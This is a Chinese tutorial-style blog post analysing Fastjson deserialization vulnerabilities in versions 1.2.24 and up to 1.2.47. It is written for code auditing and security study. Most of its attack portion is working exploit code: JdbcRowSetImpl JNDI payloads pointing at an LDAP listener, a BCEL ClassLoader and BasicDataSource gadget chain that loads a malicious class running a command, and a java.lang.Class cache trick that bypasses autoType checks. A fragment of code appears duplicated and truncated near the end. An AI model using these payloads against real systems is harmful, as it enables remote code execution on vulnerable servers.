java代码审计之fastjson反序列化漏洞

fastjson反序列化漏洞分析

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口,JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。

1. Fastjson使用

  1. 新建一个maven项目,引入对应的依赖包
		<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>
  1. 新建一个类
package org.example;import java.io.Serializable;public class Person{private String name;private int age;private boolean sex;public Person() {System.out.println("执行构造函数方法");}public String getName() {System.out.println("执行获取到name方法");return name;}public void setName(String name) {System.out.println("执行到setage方法");this.name = name;}public int getAge() {System.out.println("执行获取到age方法");return age;}public void setAge(int age) {System.out.println("执行setage方法");this.age = age;}public boolean isSex() {return sex;}public void setSex(boolean sex) {System.out.println("执行到setSex方法");this.sex = sex;}
}
  1. json序列化
package org.example;import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {Person person = new Person();person.setName("小明");person.setAge(18);person.setSex(false);String jsonString = JSON.toJSONString(person);System.out.println(jsonString);}
}
//输出:{"age":18,"name":"小明","sex":false}
  • 不使用 SerializerFeature.WriteClassName:生成的 JSON 数据不包含类的全限定名。
  • 使用 SerializerFeature.WriteClassName:生成的 JSON 数据包含类的全限定名(以 @type 字段表示)。
package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class Main {public static void main(String[] args) {Person person = new Person();person.setName("小明");person.setAge(18);person.setSex(false);String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(jsonString);}
}
//输出:{"@type":"org.example.Person","age":18,"name":"小明","sex":false}
  1. 反序列化

在fastjson中,使用JSON.parseObject进行反序列化,及将JSON字符串转化为对象

使用:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";JSONObject jsonObj = JSON.parseObject(json1);   //将字符串解析为json对象System.out.println(jsonObj.getString("age"));     //获取age的值}
}

反序列化为javaBean对象:

package org.example;
import com.alibaba.fastjson.JSON;public class Main {public static void main(String[] args) {String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";Person json2 = JSON.parseObject(json1,Person.class);System.out.println(json2);}
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person@4ccabbaa

增加@type属性指定其解析为特定类

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"小明\",\"sex\":false}";JSONObject json2 = JSON.parseObject(json1);System.out.println(json2.getString("age"));}
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18

fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili

由于在进行反序列化的时候,会调用set方法,因此,当找到一个可以执行类的set方法,就可以构造恶意参数,执行代码

package org.example;import java.io.IOException;public class Test {private String cmd;public String getCmd() {return cmd;}public void setCmd(String cmd) throws IOException {this.cmd = cmd;Runtime.getRuntime().exec(cmd);}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Main {public static void main(String[] args) {String json1 = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";JSONObject json2 = JSON.parseObject(json1);System.out.println(json2);}
}

2. fastjson1.2.24漏洞利用

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version></dependency><dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.20</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.2.4.RELEASE</version></dependency>

fastjson反序列化与原生反序列化的不同点:

  1. fastjson反序列化不需要实现Serializable
  2. 变量有对应的setter或满足条件的getter(满足第二图的get方法)或者public属性,原生的变量不需要不是transient

image-20240525185408287

image-20240525185444591

  1. 原生的爆发点为readObject,fastjson是setter/getter
  • 查找流程:先找到恶意类,然后找到getter、setter方法

按CTRL+N搜索jdbcRowSet

image-20240525190559880

存在JNDI注入:

image-20240526161855073

追踪getDataSourceName(),DataSourceName变量是可控的

image-20240526165726979

因此,该链为

setAutoCommit--->connection()方法----->DataSourceNmer为恶意参数。
package org.example;import com.alibaba.fastjson.JSON;//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {public static void main(String[] args) {String s  = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hwgPemYJ\",\"autoCommit\":true}";System.out.println(JSON.parseObject(s));}
}

设置Yakit反连

image-20240526214102060

image-20240526214017619

fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。

在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;`中,存在defineClass可以实现从字节码直接生成一个类。

image-20240528164937472

正常使用如下:

恶意类:(使用需要使用同版本的java编译为.class文件)

package org.example;import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;public class Evil {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}
package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);classLoader.loadClass("$$BCEL$$"+code).newInstance();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

接着考虑如何调用到classLoader.loadClass()在BasicDataSource()中存在forname,可以控制类加载器,将其改为classLoader类加载器。

image-20240528223029920

上下文查看有driverClassName、driverClassLoader对应的get/set方法,然后通过use查询,是否有调用createConnectionFactory方法,并实现get/set方法。

image-20240529080706605

image-20240529080858709

通过调用,当调用getConnection()时,实现调用

package org.example;import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {//不考虑fastjson情况就正常调用该类ClassLoader classLoader = new ClassLoader();byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();BasicDataSource basicDataSource = new BasicDataSource();basicDataSource.setDriverClassLoader(classLoader);basicDataSource.setDriverClassName("$$BCEL$$"+code);basicDataSource.getConnection();}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("出错",ex);}}}
package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

3. fastjson反序列化漏洞<=1.2.47

fastjson1.2.24之后,为了修复这个漏洞,引入checkAutoType,首先进行类型检查,再返回类。

image-20240529215309631

如果autoTypeSupport=true或者expectClass不是null,将进行黑白名单的判断。(白名单空的,黑名单可能造成危害的类)

image-20240529215247810

不满足,然后从以下两个缓存去查找,如果可以控制缓存,则可以调用恶意类。

image-20240529220625941

通过对mappinguse查找,当进行loadClass时,有将className放在mappings中(及如果之前加载之后,就不进行加载直接从mappings找)

image-20240529222714862

对loadClass进行use查找,则在MiscCode中deserialze中调用了loadClass函数

image-20240529223201245

在这里可以进行正常的加载,将其放入缓存里,如果提前将恶意类提前放进缓存里,则可绕过检查。

image-20240529224109150

构造恶意类

package org.example;import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;public class Main {public static void main(String[] args) throws Exception {byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));String code = Utility.encode(bytes, true);
//        第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XBGdpMmR\",\"autoCommit\":true}}";JSON.parseObject(s);}//将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

utoCommit":true}}";
JSON.parseObject(s);
}

    //将文件转为字节码数组public static byte[] convert(File file){try {InputStream fis = new FileInputStream(file);byte[] bytes = FileCopyUtils.copyToByteArray(fis);return bytes;}catch (Exception ex){throw new RuntimeException("transform file into bin Array 出错",ex);}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/341639.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创新入门|营销中的视频内容:不可或缺的策略

视频在营销中日益重要。你是否也发现,视频内容最近似乎无处不在?它占据着社交媒体的推文、网站首页,甚至电子邮件中的位置。事实上,并不是你一个人有这样的感受。在过去十年中,视频作为一种营销手段日益成熟和强大。这是因为,人类天生就是视觉动物。我们大脑处理视觉信息的速度…

Priority_queue

一、priority_queue的介绍和使用 1.1 priority_queue的介绍 1.优先队列是一种容器适配器&#xff0c;根据严格的弱排序标准&#xff0c;它的第一个元素总是它所包含的元素中最大的。 2.优先队列类似于堆&#xff0c; 在堆中可以随时插入元素&#xff0c; 并且只能检索最大堆…

硕士课程 可穿戴设备之作业一

作业一 第一个代码使用的方法是出自于[1]。 框架结构 如下图&#xff0c;不过根据对代码的解读&#xff0c;发现作者在代码中省去了对SSR部件的实现&#xff0c;下文再说。 Troika框架由三个关键部件组成&#xff1a;信号分解&#xff0c;SSR和光谱峰值跟踪。&#xff08;粗…

word 无法自动检测拼写

word 有时候不能分辨是哪种语言,比如把英语错认为法语 。 例如&#xff1a;Interlaayer spacace,发现误认为是法语。 1、选中Interlaayer spacace 2、点击语言下拉按钮 选择设置校对语言 发现校对语言为法语 3、手动修改校对语言为英语&#xff0c;并点击确认。 4、发现现…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

【一步一步了解Java系列】:重磅多态

看到这句话的时候证明&#xff1a;此刻你我都在努力 加油陌生人 个人主页&#xff1a;Gu Gu Study专栏&#xff1a;一步一步了解Java 喜欢的一句话&#xff1a; 常常会回顾努力的自己&#xff0c;所以要为自己的努力留下足迹 喜欢的话可以点个赞谢谢了。 作者&#xff1a;小闭…

E10:流程主表表单字段值变化触发事件

效果– //window.WeFormSDK.showMessage("这是一个E10的提示", 3, 2); const onClickCreate () > console.log("create"); const onClickSave () > console.log("save"); const onClickCancel () > dialogComponent?.destroy();/…

Python量化交易学习——Part4:基于基本面的单因子选股策略

技术分析与基本面分析是股票价格分析最基础也是最经典的两个部分。技术分析是针对交易曲线及成交量等指标进行分析,基本面分析是基于公司的基本素质进行分析。 一般来说选股要先选行业,在选个股,之后根据技术分析选择买卖节点,因此针对行业及个股的基本面分析是选股的基础。…

排序算法集合

1. 冒泡排序 排序的过程分为多趟&#xff0c;在每一趟中&#xff0c;从前向后遍历数组的无序部分&#xff0c;通过交换相邻两数位置的方式&#xff0c;将无序元素中最大的元素移动到无序部分的末尾&#xff08;第一趟中&#xff0c;将最大的元素移动到数组倒数第一的位置&…

【scikit-learn010】sklearn算法模型清单实战及经验总结(已更新)

1.一直以来想写下基于scikit-learn训练AI算法的系列文章,作为较火的机器学习框架,也是日常项目开发中常用的一款工具,最近刚好挤时间梳理、总结下这块儿的知识体系。 2.熟悉、梳理、总结下scikit-learn框架模型算法包相关技术点及经验。 3.欢迎批评指正,欢迎互三,跪谢一键…

代码随想录算法训练营day41

题目&#xff1a;01背包理论基础、416. 分割等和子集 参考链接&#xff1a;代码随想录 动态规划&#xff1a;01背包理论基础 思路&#xff1a;01背包是所有背包问题的基础&#xff0c;第一次看到比较懵&#xff0c;完全不知道dp数据怎么设置。具体分析还是dp五部曲&#xff…

C#WPF数字大屏项目实战04--设备运行状态

1、引入Livecharts包 项目中&#xff0c;设备运行状态是用饼状图展示的&#xff0c;因此需要使用livechart控件&#xff0c;该控件提供丰富多彩的图形控件显示效果 窗体使用控件 2、设置饼状图的显示图例 通过<lvc:PieChart.Series>设置环状区域 3、设置饼状图资源样…

js 数字精确度

事情的起源&#xff1a; 项目中 填写的赔付金额是小数 传给后端需要 *100 9.87 *100 传给后端后是986.9999999999999 后端直接取整 就变成了9.86了 0.1 0.2 ! 0.3 console.log(0.1 0.2) //0.30000000000000004 console.log(0.1 0.2 0.3) //false1. 数字的存储 浮点数是用…

【数据库】SQL--DQL(初阶)

文章目录 DCL1. 基本介绍2. 语法2.1 基础查询2.2 条件查询2.3 聚合函数2.4 聚合查询2.5 分组查询2.6 排序查询2.7 分页查询2.8 综合案例练习2.9 执行顺序 3. DQL总结 DCL 更多数据库MySQL系统内容就在以下专栏&#xff1a; 专栏链接&#xff1a;数据库MySQL 1. 基本介绍 DQL英…

全息之镜,未来的眼镜

全息之镜&#xff0c;作为未来眼镜的一种设想和展望&#xff0c;凭借其独特的全息技术&#xff0c;将在未来带来全新的视觉体验和应用场景。以下是关于全息之镜未来的详细分析和展望&#xff1a; 一、技术原理与特点 全息之镜利用全息技术&#xff0c;通过干涉、衍射和折射等…

k8s自定义资源你会创建吗

创建自定义资源定义 CustomResourceDefinition 当你创建新的 CustomResourceDefinition&#xff08;CRD&#xff09;时&#xff0c;Kubernetes API 服务器会为你所 指定的每一个版本生成一个 RESTful 的 资源路径。CRD 可以是名字空间作用域的&#xff0c;也可以是集群作用域的…

4.2 索引及其操作

对数据库中的表进行查询操作时有两种搜索扫描方式&#xff0c;一种是全表扫描&#xff0c;另一种就是使用表上建立的索引进行扫描。 全表扫描要查找某个特定的行&#xff0c;必须从头开始一一查看表中的每一行&#xff0c;与查询条件做对比&#xff0c;返回满足条件的记录&…

JVM学习-Jprofiler

JProfiler 基本概述 特点 使用方便&#xff0c;界面操作友好对被分析的应用影响小(提供模板)CPU&#xff0c;Tread&#xff0c;Memory分析功能尤其强大支持对jdbc,noSql,jsp,servlet,socket进行分析支持多种模式(离线、在线)的分析支持监控本地、远程JVM跨平台&#xff0c;拥…

Vue01-vue的简介

一、Vue是什么&#xff1f; 一套用于构建用户界面的渐进式javaScript框架。 构建用户界面&#xff1a; 渐进式&#xff1a; 目前Vue的地位&#xff1a;生态完善&#xff0c;国内前端工程师必备技能。 二、Vue的特点 一个XXX.vue就是一个组件&#xff0c;封装的概念&#xff0c…

2025 QS 世界大学排名公布,北大清华跻身全球前20

一年一度&#xff0c;2025 QS 世界大学排名公布&#xff01; QS&#xff08;Quacquarelli Symonds&#xff09;是唯一一个同时将就业能力与可持续发展纳入评价体系的排名。 继去年 2024 QS 排名因为“墨尔本超耶鲁&#xff0c;新南悉尼高清华”而荣登微博热搜之后&#xff0c…